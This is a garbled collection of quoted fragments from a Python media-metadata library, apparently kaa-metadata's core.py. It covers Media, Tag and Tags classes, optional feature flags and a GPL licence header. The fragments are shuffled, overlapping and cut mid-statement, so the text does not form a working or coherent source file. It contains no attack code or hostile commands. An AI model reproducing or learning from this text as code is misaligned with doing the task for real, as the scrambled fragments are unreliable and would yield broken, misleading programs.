# You should have received a copy of the", "# print normal attributes lists = [] for key in self._keys: value =", "= language.resolve(code) class Tags(dict, Tag): \"\"\" A dictionary containing Tag objects. Values can", "defined in Media. \"\"\" _keys = MEDIACORE table_mapping = {} def __init__(self, hash=None):", "defined at http://www.matroska.org/technical/specs/tagging/index.html # All tag names will be lower-cased. self.tags = Tags()", "is necessary in order to represent this kind of tag specification (e.g. for", "default values but can be overwritten by setting the optional parameter value. \"\"\"", "str): value = utils.tostr(str(value)) elif isinstance(value, str): value = utils.tostr(value) value = value.strip().rstrip().replace('\\0',", "or # (at your option) any later version. # # This program is", "Where possible, # parsers should transform tag names to conform to the Official", "value: submenu._finalize() # copy needed tags from tables for name, table in list(self.tables.items()):", "# # data access # def __contains__(self, key): \"\"\" Test if key exists", "table already exists, the given tables items are added to the existing one.", "value) if 'fourcc' in self._keys and 'codec' in self._keys and self.codec is not", "setattr(self, key, value) def has_key(self, key): \"\"\" Check if the object has an", "langcode self.binary = binary def __unicode__(self): return str(self.value) def __str__(self): return str(self.value) def", "if hasattr(self, 'url'): return '<%s %s>' % (str(self.__class__)[8:-2], self.url) else: return '<%s>' %", "try: value = str(value) if len(value) > 50: value = '<unprintable data, size=%d>'", "tables items are added to the existing one. \"\"\" if name not in", "of a TV series. It matches names in the # style of 'series", "x in value ] result[k] = value return result def keys(self): \"\"\" Return", "# kaa-Metadata - Media Metadata for Python # Copyright (C) 2003-2006 <NAME>, <NAME>", "Boston, MA 02111-1307 USA # # ----------------------------------------------------------------------------- # python imports import re import", "optional features defined in the _feature variable. Some feature have a value. These", "__init__(self, value=None, langcode='und', binary=False): super(Tags, self).__init__() self.value = value self.langcode = langcode self.binary", "a list of strings (keywords?), so don't treat it specially. value = ',", "\"\"\" Check if the object has an attribute 'key' \"\"\" return hasattr(self, key)", "} def enable_feature(var, value=None): \"\"\" Enable optional features defined in the _feature variable.", "# Maintainer: <NAME> <<EMAIL>> # # Please see the file AUTHORS for a", "self.url = url def _finalize(self): \"\"\" Correct same data based on specific rules", "imports import re import logging from . import fourcc from . import language", "the object has an attribute 'key' \"\"\" return hasattr(self, key) def convert(self): \"\"\"", "This program is distributed in the hope that it will be useful, but", "else '', suffix, name) if isinstance(tag, list): # TODO: doesn't support lists/dicts within", "more or less a dictionary but it also contains a value. This is", "len(value) except AttributeError: value = '<unprintable data>' result += '| | %s: %s\\n'", "'', suffix, name) if isinstance(tag, list): # TODO: doesn't support lists/dicts within lists.", "of the GNU General Public License as published by # the Free Software", "defines the basic structures that handle metadata. Media and its derivates contain a", "data>' result += '| | %s: %s\\n' % (str(key), value) return result def", "WARRANTY; without even the implied warranty of MER- # CHANTABILITY or FITNESS FOR", "of tag specification (e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple>", "= value.strip().rstrip().replace('\\0', '') setattr(self, attr, value) if 'fourcc' in self._keys and 'codec' in", "(str(key), str(value)) # print tags (recursively, to support nested tags). def print_tags(tags, suffix,", "'<Tag object: %s>' % repr(self.value) else: return '<Binary Tag object: size=%d>' % len(self.value)", "if 'fourcc' in self._keys and 'codec' in self._keys and self.codec is not None:", "MEDIA_GAME = 'MEDIA_GAME' MEDIACORE = ['title', 'caption', 'comment', 'size', 'type', 'subtype', 'timestamp', 'keywords',", "# Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html # All tag names will be lower-cased.", "+= '| ' + re.sub(r'\\n(.)', r'\\n| \\1', str(item)) # print tables if log.level", "key): \"\"\" Check if the object has an attribute 'key' \"\"\" return hasattr(self,", "if hash is not None: # create Media based on dict for key,", "keys list if missing. \"\"\" if value is None and getattr(self, key, None)", "set of metadata attributes that is listed in keys. Specific derivates contain additional", "the GNU General Public License along # with this program; if not, write", "(label, n+1) result += '| ' + re.sub(r'\\n(.)', r'\\n| \\1', str(item)) # print", "If the attribute is not set by the parser return 'default'. \"\"\" return", "Media): value = [ x.convert() for x in value ] result[k] = value", "by the parser return 'default'. \"\"\" return getattr(self, attr, default) def __getitem__(self, attr):", "'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM = 'stream'", "else: return '<%s>' % (str(self.__class__)[8:-2]) # # internal functions # def _appendtable(self, name,", "MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME", "along # with this program; if not, write to the Free Software Foundation,", "result += '| | %s: %s\\n' % (str(key), value) return result def __repr__(self):", "list of authors. # # This program is free software; you can redistribute", "isinstance(value, list): if not value: continue elif isinstance(value[0], str): # Just a list", "dublin core set that is defined in Media. \"\"\" _keys = MEDIACORE table_mapping", "print_tags(self.tags, '', True) # print lists for key, l in lists: for n,", "] def __init__(self): Media.__init__(self) self.tracks = [] class Tag(object): \"\"\" An individual tag,", "and value and isinstance(value[0], Media): value = [ x.convert() for x in value", "to the Official # Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html # All tag names", "values are set to reasonable default values but can be overwritten by setting", "value = getattr(self, key) if value is None: continue if key == 'image':", "of strings (keywords?), so don't treat it specially. value = ', '.join(value) else:", "key not in ('tracks', 'subtitles', 'chapters'): label += ' Track' result += '%s", "= language.resolve(self.language) # # data access # def __contains__(self, key): \"\"\" Test if", "'url', 'media', 'artist', 'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY = 'directory'", "def get(self, attr, default = None): \"\"\" Returns the given attribute. If the", "'%s\\n' % ', '.join(subtag.value for subtag in tag) else: result += '%s\\n' %", "None) # # unicode and string convertion for debugging # def __str__(self): result", "[ 'thumbnail', 'url', 'codec_private' ] # media type definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO", "specification (e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The", "\"\"\" _keys = MEDIACORE table_mapping = {} def __init__(self, hash=None): if hash is", "specially. value = ', '.join(value) else: lists.append((key, value)) continue elif isinstance(value, dict): #", "and string convertion for debugging # def __str__(self): result = '' # print", "(e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The attribute", "value and isinstance(value[0], dict): value = [ Media(x) for x in value ]", "to value and add the key to the internal keys list if missing.", "Suite 330, Boston, MA 02111-1307 USA # # ----------------------------------------------------------------------------- # python imports import", "get logging object log = logging.getLogger('metadata') class ParseError(Exception): pass _features = { #", "metadata attributes that is listed in keys. Specific derivates contain additional keys to", "given attribute. If the attribute is not set by the parser return 'default'.", "'<%s %s>' % (str(self.__class__)[8:-2], self.url) else: return '<%s>' % (str(self.__class__)[8:-2]) # # internal", "TypeError) as e: try: value = '<unprintable data, size=%d>' % len(value) except AttributeError:", "dicts whose values are # either Tag objects, other dicts (for nested tags),", "# def __contains__(self, key): \"\"\" Test if key exists in the dict \"\"\"", "but it also has a child tag COUNTRY that specifies the country code", "setting the optional parameter value. \"\"\" _features[var][0] = True if value: _features[var][1] =", "internal functions # def _appendtable(self, name, hashmap): \"\"\" Appends a tables of additional", "a dictionary but it also contains a value. This is necessary in order", "= {} def __init__(self, hash=None): if hash is not None: # create Media", "the given tables items are added to the existing one. \"\"\" if name", "getattr(self, key) if value is None: continue if key == 'image': if isinstance(value,", "return '<%s %s>' % (str(self.__class__)[8:-2], self.url) else: return '<%s>' % (str(self.__class__)[8:-2]) # #", "(UnicodeDecodeError, TypeError) as e: try: value = '<unprintable data, size=%d>' % len(value) except", "MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE = ['title', 'caption', 'comment', 'size', 'type',", "len(value) result += '| %10s: %s\\n' % (str(key), str(value)) # print tags (recursively,", "existing one. \"\"\" if name not in self.tables: self.tables[name] = hashmap else: #", "either version 2 of the License, or # (at your option) any later", "\"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tags, self).__init__() self.value = value self.langcode =", "if key in UNPRINTABLE_KEYS: continue value = getattr(self, key) if value is None:", "can redistribute it and/or modify # it under the terms of the GNU", "result = '' for n, (name, tag) in enumerate(tags.items()): result += '| %12s%s%s", "if isinstance(value, list) and value and isinstance(value[0], Media): for submenu in value: submenu._finalize()", "from tables for name, table in list(self.tables.items()): mapping = self.table_mapping.get(name, {}) for tag,", "same data based on specific rules \"\"\" # make sure all strings are", "the parser return 'default'. \"\"\" return getattr(self, attr, default) def __getitem__(self, attr): \"\"\"", "result += '| %12s%s%s = ' % ('tags: ' if n == 0", "all strings are unicode for key in self._keys: if key in UNPRINTABLE_KEYS: continue", "= value return result def keys(self): \"\"\" Return all keys for the attributes", "'.join(subtag.value for subtag in tag) else: result += '%s\\n' % (tag.value or '')", "code the rating belongs to. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tags, self).__init__()", "parsers should transform tag names to conform to the Official # Matroska tags", "print_tags(tags, suffix, show_label): result = '' for n, (name, tag) in enumerate(tags.items()): result", "print tables if log.level >= 10: for name, table in list(self.tables.items()): result +=", "add the key to the internal keys list if missing. \"\"\" if value", "License for more details. # # You should have received a copy of", "elif isinstance(value, str): value = utils.tostr(value) value = value.strip().rstrip().replace('\\0', '') setattr(self, attr, value)", "'', True) # print lists for key, l in lists: for n, item", "| %s: %s\\n' % (str(key), value) return result def __repr__(self): if hasattr(self, 'url'):", "object. Tag values are strings (for binary data), unicode objects, or datetime objects", "objects. Values can be other Tags objects (for nested tags), lists, or Tag", "repr(self.value) else: return '<Binary Tag object: size=%d>' % len(self.value) @property def langcode(self): return", "unicode for key in self._keys: if key in UNPRINTABLE_KEYS: continue value = getattr(self,", "redistribute it and/or modify # it under the terms of the GNU General", "\"\"\" A dictionary containing Tag objects. Values can be other Tags objects (for", "MA 02111-1307 USA # # ----------------------------------------------------------------------------- # python imports import re import logging", "is None: return if isinstance(value, str): value = utils.tostr(value) setattr(self, key, value) if", "value) if not key in self._keys: self._keys.append(key) def _set_url(self, url): \"\"\" Set the", "result = {} for k in self._keys: value = getattr(self, k, None) if", "instances of the tag, e.g. actor). Where possible, # parsers should transform tag", "already exists, the given tables items are added to the existing one. \"\"\"", "self.tables[name] = hashmap else: # Append to the already existing table for k", "items are added to the existing one. \"\"\" if name not in self.tables:", "MEDIACORE = ['title', 'caption', 'comment', 'size', 'type', 'subtype', 'timestamp', 'keywords', 'country', 'language', 'langcode',", "url def _finalize(self): \"\"\" Correct same data based on specific rules \"\"\" #", "a table already exists, the given tables items are added to the existing", "in lists: for n, item in enumerate(l): label = '+-- ' + key.rstrip('s').capitalize()", "hasattr(self, key) def convert(self): \"\"\" Convert Media to dict. \"\"\" result = {}", "support nested tags). def print_tags(tags, suffix, show_label): result = '' for n, (name,", "return self._keys = self._keys[:] self.tables = {} # Tags, unlike tables, are more", "# def __str__(self): result = '' # print normal attributes lists = []", "try: value = '<unprintable data, size=%d>' % len(value) except AttributeError: value = '<unprintable", "value=None, langcode='und', binary=False): super(Tag, self).__init__() self.value = value self.langcode = langcode self.binary =", "= 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE =", "to represent this kind of tag specification (e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String>", "it specially. value = ', '.join(value) else: lists.append((key, value)) continue elif isinstance(value, dict):", "Official # Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html # All tag names will be", "k in list(hashmap.keys()): self.tables[name][k] = hashmap[k] def _set(self, key, value): \"\"\" Set key", "of additional metadata to the Object. If such a table already exists, the", "First Edition: <NAME> <<EMAIL>> # Maintainer: <NAME> <<EMAIL>> # # Please see the", "n+1) result += '| ' + re.sub(r'\\n(.)', r'\\n| \\1', str(item)) # print tables", "file AUTHORS for a complete list of authors. # # This program is", "+= '+-- Table %s\\n' % str(name) for key, value in list(table.items()): try: value", "functions # def _appendtable(self, name, hashmap): \"\"\" Appends a tables of additional metadata", "attr in list(mapping.items()): if self.get(attr): continue value = table.get(tag, None) if value is", "'datetime', 'tags', 'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM = 'stream' #", "is defined in Media. \"\"\" _keys = MEDIACORE table_mapping = {} def __init__(self,", "<NAME>, <NAME> # # First Edition: <NAME> <<EMAIL>> # Maintainer: <NAME> <<EMAIL>> #", "key to value and add the key to the internal keys list if", "('media', 'tags'): setattr(self, key, None) # # unicode and string convertion for debugging", "'media', 'artist', 'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM", "str): value = utils.tostr(value) setattr(self, key, value) if not key in self._keys: self._keys.append(key)", "'codec_private' ] # media type definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE", "def feature_enabled(feature): \"\"\" Returns if a feature was activated \"\"\" return _features[feature][0] def", "times. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tag, self).__init__() self.value = value self.langcode", "name, table in list(self.tables.items()): mapping = self.table_mapping.get(name, {}) for tag, attr in list(mapping.items()):", "= 'MEDIA_GAME' MEDIACORE = ['title', 'caption', 'comment', 'size', 'type', 'subtype', 'timestamp', 'keywords', 'country',", "def __init__(self, hash=None): if hash is not None: # create Media based on", "{} # Tags, unlike tables, are more well-defined dicts whose values are #", "+ [ 'id', 'tracks' ] def __init__(self): Media.__init__(self) self.tracks = [] class Tag(object):", "point or minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def enable_feature(var,", "Correct same data based on specific rules \"\"\" # make sure all strings", "hash is not None: # create Media based on dict for key, value", "None) if value is not None: if not isinstance(value, str): value = utils.tostr(str(value))", "__init__(self, hash=None): if hash is not None: # create Media based on dict", "def _appendtable(self, name, hashmap): \"\"\" Appends a tables of additional metadata to the", "value = getattr(self, key, None) if value == None or key == 'url':", "if not isinstance(value, str): value = utils.tostr(str(value)) elif isinstance(value, str): value = utils.tostr(value)", "list if missing. \"\"\" if value is None and getattr(self, key, None) is", "# Please see the file AUTHORS for a complete list of authors. #", "This program is free software; you can redistribute it and/or modify # it", "that is listed in keys. Specific derivates contain additional keys to the dublin", "of authors. # # This program is free software; you can redistribute it", "TODO: doesn't support lists/dicts within lists. result += '%s\\n' % ', '.join(subtag.value for", "10: for name, table in list(self.tables.items()): result += '+-- Table %s\\n' % str(name)", "# # This program is free software; you can redistribute it and/or modify", "self._keys: if key not in ('media', 'tags'): setattr(self, key, None) # # unicode", "Python # Copyright (C) 2003-2006 <NAME>, <NAME> # # First Edition: <NAME> <<EMAIL>>", "in enumerate(l): label = '+-- ' + key.rstrip('s').capitalize() if key not in ('tracks',", "_keys = Media._keys + [ 'id', 'tracks' ] def __init__(self): Media.__init__(self) self.tracks =", "to the dublin core set that is defined in Media. \"\"\" _keys =", "(tag.value or '') if isinstance(tag, dict): result += print_tags(tag, ' ', False) return", "nested tags). def print_tags(tags, suffix, show_label): result = '' for n, (name, tag)", "be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of", "_features[feature][0] def feature_config(feature): \"\"\" Returns the configuration of the given feature \"\"\" return", "Tags objects (for nested tags), lists, or Tag objects. A Tags object is", "version 2 of the License, or # (at your option) any later version.", "else: lists.append((key, value)) continue elif isinstance(value, dict): # Tables or tags treated separately.", "activated \"\"\" return _features[feature][0] def feature_config(feature): \"\"\" Returns the configuration of the given", "MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER", "' + re.sub(r'\\n(.)', r'\\n| \\1', str(item)) # print tables if log.level >= 10:", "'codec' in self._keys and self.codec is not None: # Codec may be a", "write to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330,", "in self._keys: value = getattr(self, key, None) if value == None or key", "if isinstance(tag, list): # TODO: doesn't support lists/dicts within lists. result += '%s\\n'", "log.level >= 10: for name, table in list(self.tables.items()): result += '+-- Table %s\\n'", "not be a space but also point or minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\.", "in keys. Specific derivates contain additional keys to the dublin core set that", "% (label, n+1) result += '| ' + re.sub(r'\\n(.)', r'\\n| \\1', str(item)) #", "the dict \"\"\" return hasattr(self, key) def get(self, attr, default = None): \"\"\"", "object: %s>' % repr(self.value) else: return '<Binary Tag object: size=%d>' % len(self.value) @property", "in order to represent this kind of tag specification (e.g. for Matroska):: <Simple>", "import re import logging from . import fourcc from . import language from", "% ', '.join(subtag.value for subtag in tag) else: result += '%s\\n' % (tag.value", "'') setattr(self, attr, value) if 'fourcc' in self._keys and 'codec' in self._keys and", "<<EMAIL>> # Maintainer: <NAME> <<EMAIL>> # # Please see the file AUTHORS for", "tag, e.g. actor). Where possible, # parsers should transform tag names to conform", "and set the fourcc attribute. self.fourcc, self.codec = fourcc.resolve(self.codec) if 'language' in self._keys:", "def __setitem__(self, key, value): \"\"\" Set the value of 'key' to 'value' \"\"\"", "<Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The attribute RATING has a", "for key, l in lists: for n, item in enumerate(l): label = '+--", "be a space but also point or minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\.", "Set key to value and add the key to the internal keys list", "in self._keys: self._keys.append(key) def _set_url(self, url): \"\"\" Set the URL of the source", "\"\"\" return hasattr(self, key) def get(self, attr, default = None): \"\"\" Returns the", "like CD, DVD, Directory, Playlist \"\"\" _keys = Media._keys + [ 'id', 'tracks'", "value stored in a Tags object. Tag values are strings (for binary data),", "__str__(self): return str(self.value) def __repr__(self): if not self.binary: return '<Tag object: %s>' %", "value): \"\"\" Set key to value and add the key to the internal", "of MER- # CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU", "{ # Guess if a file is a recording of a TV series.", "delimiter may not be a space but also point or minus. 'VIDEO_SERIES_PARSER': [", "datetime objects for tags that represent dates or times. \"\"\" def __init__(self, value=None,", "file is a recording of a TV series. It matches names in the", "def __str__(self): result = '' # print normal attributes lists = [] for", "tables of additional metadata to the Object. If such a table already exists,", "# CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General #", "and show_label else '', suffix, name) if isinstance(tag, list): # TODO: doesn't support", "Public License as published by # the Free Software Foundation; either version 2", "result += '+-- Table %s\\n' % str(name) for key, value in list(table.items()): try:", "isinstance(value[0], str): # Just a list of strings (keywords?), so don't treat it", "value = [ Media(x) for x in value ] self._set(key, value) return self._keys", "objects (for nested tags), lists, or Tag objects. A Tags object is more", "self.tables = {} # Tags, unlike tables, are more well-defined dicts whose values", "object log = logging.getLogger('metadata') class ParseError(Exception): pass _features = { # Guess if", "set the fourcc attribute. self.fourcc, self.codec = fourcc.resolve(self.codec) if 'language' in self._keys: self.langcode,", "value ] result[k] = value return result def keys(self): \"\"\" Return all keys", "str(self.value) def __repr__(self): if not self.binary: return '<Tag object: %s>' % repr(self.value) else:", "the key to the internal keys list if missing. \"\"\" if value is", "return 'default'. \"\"\" return getattr(self, attr, default) def __getitem__(self, attr): \"\"\" Get the", "debugging # def __str__(self): result = '' # print normal attributes lists =", "% (tag.value or '') if isinstance(tag, dict): result += print_tags(tag, ' ', False)", "----------------------------------------------------------------------------- # $Id$ # # ----------------------------------------------------------------------------- # kaa-Metadata - Media Metadata for Python", "to all Media Metadata Containers. It defines the basic structures that handle metadata.", "not in ('tracks', 'subtitles', 'chapters'): label += ' Track' result += '%s #%d\\n'", "program is distributed in the hope that it will be useful, but #", "the terms of the GNU General Public License as published by # the", "if isinstance(value, list) and value and isinstance(value[0], Media): value = [ x.convert() for", "not None: # create Media based on dict for key, value in list(hash.items()):", "access # def __contains__(self, key): \"\"\" Test if key exists in the dict", "+ key.rstrip('s').capitalize() if key not in ('tracks', 'subtitles', 'chapters'): label += ' Track'", "values but can be overwritten by setting the optional parameter value. \"\"\" _features[var][0]", "is not set by the parser return 'default'. \"\"\" return getattr(self, attr, default)", "this kind of tag specification (e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name>", "= url def _finalize(self): \"\"\" Correct same data based on specific rules \"\"\"", "in ('media', 'tags'): setattr(self, key, None) # # unicode and string convertion for", "value of the given attribute \"\"\" return getattr(self, attr, None) def __setitem__(self, key,", "name, hashmap): \"\"\" Appends a tables of additional metadata to the Object. If", "return list(_features.keys()) def feature_enabled(feature): \"\"\" Returns if a feature was activated \"\"\" return", "return result def __repr__(self): if hasattr(self, 'url'): return '<%s %s>' % (str(self.__class__)[8:-2], self.url)", "pass _features = { # Guess if a file is a recording of", "\"\"\" Get the value of the given attribute \"\"\" return getattr(self, attr, None)", "names will be lower-cased. self.tags = Tags() for key in self._keys: if key", "lists: for n, item in enumerate(l): label = '+-- ' + key.rstrip('s').capitalize() if", "the existing one. \"\"\" if name not in self.tables: self.tables[name] = hashmap else:", "key to the internal keys list if missing. \"\"\" if value is None", "= 'stream' # get logging object log = logging.getLogger('metadata') class ParseError(Exception): pass _features", "def convert(self): \"\"\" Convert Media to dict. \"\"\" result = {} for k", "a value stored in a Tags object. Tag values are strings (for binary", "# delimiter may not be a space but also point or minus. 'VIDEO_SERIES_PARSER':", "not set by the parser return 'default'. \"\"\" return getattr(self, attr, default) def", "x.convert() for x in value ] result[k] = value return result def keys(self):", "Media Metadata Containers. It defines the basic structures that handle metadata. Media and", "= hashmap[k] def _set(self, key, value): \"\"\" Set key to value and add", "doesn't support lists/dicts within lists. result += '%s\\n' % ', '.join(subtag.value for subtag", "> 50: value = '<unprintable data, size=%d>' % len(value) except (UnicodeDecodeError, TypeError) as", "Set the value of 'key' to 'value' \"\"\" setattr(self, key, value) def has_key(self,", "(str(key), value) return result def __repr__(self): if hasattr(self, 'url'): return '<%s %s>' %", "key, utils.tostr(value)) if isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0', '')) if isinstance(value, list) and", "configuration of the given feature \"\"\" return _features[feature][1] class Media(object): media = None", "import fourcc from . import language from . import utils UNPRINTABLE_KEYS = [", "in list(mapping.items()): if self.get(attr): continue value = table.get(tag, None) if value is not", "value def features(): \"\"\" List all optional features \"\"\" return list(_features.keys()) def feature_enabled(feature):", "Tables or tags treated separately. continue if key in UNPRINTABLE_KEYS: value = '<unprintable", "binary data), unicode objects, or datetime objects for tags that represent dates or", "containing Tag objects. Values can be other Tags objects (for nested tags), lists,", "str(item)) # print tables if log.level >= 10: for name, table in list(self.tables.items()):", "by # the Free Software Foundation; either version 2 of the License, or", "\"\"\" Media is the base class to all Media Metadata Containers. It defines", "exists in the dict \"\"\" return hasattr(self, key) def get(self, attr, default =", "return getattr(self, attr, None) def __setitem__(self, key, value): \"\"\" Set the value of", "# core.py # ----------------------------------------------------------------------------- # $Id$ # # ----------------------------------------------------------------------------- # kaa-Metadata - Media", "tag, which will be a value stored in a Tags object. Tag values", "= None \"\"\" Media is the base class to all Media Metadata Containers.", "# Tags, unlike tables, are more well-defined dicts whose values are # either", "reasonable default values but can be overwritten by setting the optional parameter value.", "# Append to the already existing table for k in list(hashmap.keys()): self.tables[name][k] =", "a tables of additional metadata to the Object. If such a table already", "langcode(self, code): self._langcode, self.language = language.resolve(code) class Tags(dict, Tag): \"\"\" A dictionary containing", "= 'directory' EXTENSION_STREAM = 'stream' # get logging object log = logging.getLogger('metadata') class", "will be lower-cased. self.tags = Tags() for key in self._keys: if key not", "actual # name and set the fourcc attribute. self.fourcc, self.codec = fourcc.resolve(self.codec) if", "value. This is necessary in order to represent this kind of tag specification", "child tag COUNTRY that specifies the country code the rating belongs to. \"\"\"", "not None: # Codec may be a fourcc, in which case we resolve", "Tag objects. A Tags object is more or less a dictionary but it", "self.langcode = langcode self.binary = binary def __unicode__(self): return str(self.value) def __str__(self): return", "so don't treat it specially. value = ', '.join(value) else: lists.append((key, value)) continue", "isinstance(value, str): setattr(self, key, utils.tostr(value)) if isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0', '')) if", "[ 'id', 'tracks' ] def __init__(self): Media.__init__(self) self.tracks = [] class Tag(object): \"\"\"", "MEDIACORE table_mapping = {} def __init__(self, hash=None): if hash is not None: #", "name, table in list(self.tables.items()): result += '+-- Table %s\\n' % str(name) for key,", "# ----------------------------------------------------------------------------- # core.py # ----------------------------------------------------------------------------- # $Id$ # # ----------------------------------------------------------------------------- # kaa-Metadata", "unlike tables, are more well-defined dicts whose values are # either Tag objects,", "for x in value ] self._set(key, value) return self._keys = self._keys[:] self.tables =", "PARTICULAR PURPOSE. See the GNU General # Public License for more details. #", "mapping = self.table_mapping.get(name, {}) for tag, attr in list(mapping.items()): if self.get(attr): continue value", "with this program; if not, write to the Free Software Foundation, Inc., #", "dict. \"\"\" result = {} for k in self._keys: value = getattr(self, k,", "Media(object): media = None \"\"\" Media is the base class to all Media", "feature \"\"\" return _features[feature][1] class Media(object): media = None \"\"\" Media is the", "additional keys to the dublin core set that is defined in Media. \"\"\"", "attributes set by the parser. \"\"\" return self._keys class Collection(Media): \"\"\" Collection of", "self.tracks = [] class Tag(object): \"\"\" An individual tag, which will be a", "isinstance(value, dict): # Tables or tags treated separately. continue if key in UNPRINTABLE_KEYS:", "show_label): result = '' for n, (name, tag) in enumerate(tags.items()): result += '|", "may not be a space but also point or minus. 'VIDEO_SERIES_PARSER': [ False,", "'comment', 'size', 'type', 'subtype', 'timestamp', 'keywords', 'country', 'language', 'langcode', 'url', 'media', 'artist', 'mime',", "All tag names will be lower-cased. self.tags = Tags() for key in self._keys:", "\"\"\" # make sure all strings are unicode for key in self._keys: if", "also has a child tag COUNTRY that specifies the country code the rating", "as e: try: value = '<unprintable data, size=%d>' % len(value) except AttributeError: value", "the GNU General Public License as published by # the Free Software Foundation;", "'+-- Table %s\\n' % str(name) for key, value in list(table.items()): try: value =", "value and isinstance(value[0], Media): value = [ x.convert() for x in value ]", "continue value = getattr(self, key) if value is None: continue if key ==", "'language' in self._keys: self.langcode, self.language = language.resolve(self.language) # # data access # def", "_appendtable(self, name, hashmap): \"\"\" Appends a tables of additional metadata to the Object.", "structures that handle metadata. Media and its derivates contain a common set of", "# # First Edition: <NAME> <<EMAIL>> # Maintainer: <NAME> <<EMAIL>> # # Please", "tag names to conform to the Official # Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html", "Returns if a feature was activated \"\"\" return _features[feature][0] def feature_config(feature): \"\"\" Returns", "self._keys = self._keys[:] self.tables = {} # Tags, unlike tables, are more well-defined", "should have received a copy of the GNU General Public License along #", "% ('tags: ' if n == 0 and show_label else '', suffix, name)", "specific rules \"\"\" # make sure all strings are unicode for key in", "represent dates or times. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tag, self).__init__() self.value", "self).__init__() self.value = value self.langcode = langcode self.binary = binary def __unicode__(self): return", "for key in self._keys: if key in UNPRINTABLE_KEYS: continue value = getattr(self, key)", "utils.tostr(str(value)) elif isinstance(value, str): value = utils.tostr(value) value = value.strip().rstrip().replace('\\0', '') setattr(self, attr,", "value: continue elif isinstance(value[0], str): # Just a list of strings (keywords?), so", "def _finalize(self): \"\"\" Correct same data based on specific rules \"\"\" # make", "return hasattr(self, key) def convert(self): \"\"\" Convert Media to dict. \"\"\" result =", "return str(self.value) def __str__(self): return str(self.value) def __repr__(self): if not self.binary: return '<Tag", "list) and value and isinstance(value[0], Media): value = [ x.convert() for x in", "(for binary data), unicode objects, or datetime objects for tags that represent dates", "the source \"\"\" self.url = url def _finalize(self): \"\"\" Correct same data based", "its derivates contain a common set of metadata attributes that is listed in", "'<Binary Tag object: size=%d>' % len(self.value) @property def langcode(self): return self._langcode @langcode.setter def", "330, Boston, MA 02111-1307 USA # # ----------------------------------------------------------------------------- # python imports import re", "' Track' result += '%s #%d\\n' % (label, n+1) result += '| '", "support lists/dicts within lists. result += '%s\\n' % ', '.join(subtag.value for subtag in", "for a complete list of authors. # # This program is free software;", "value == None or key == 'url': continue if isinstance(value, list): if not", ". import utils UNPRINTABLE_KEYS = [ 'thumbnail', 'url', 'codec_private' ] # media type", "attr): \"\"\" Get the value of the given attribute \"\"\" return getattr(self, attr,", "to conform to the Official # Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html # All", "# WITHOUT ANY WARRANTY; without even the implied warranty of MER- # CHANTABILITY", "python imports import re import logging from . import fourcc from . import", "tables for name, table in list(self.tables.items()): mapping = self.table_mapping.get(name, {}) for tag, attr", "== 'image': if isinstance(value, str): setattr(self, key, utils.tobytes(value)) continue if isinstance(value, str): setattr(self,", "'url', 'codec_private' ] # media type definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO'", "def _set(self, key, value): \"\"\" Set key to value and add the key", "and value and isinstance(value[0], dict): value = [ Media(x) for x in value", "for k in self._keys: value = getattr(self, k, None) if isinstance(value, list) and", "\"\"\" Collection of Digial Media like CD, DVD, Directory, Playlist \"\"\" _keys =", "if self.get(attr): continue value = table.get(tag, None) if value is not None: if", "and value and 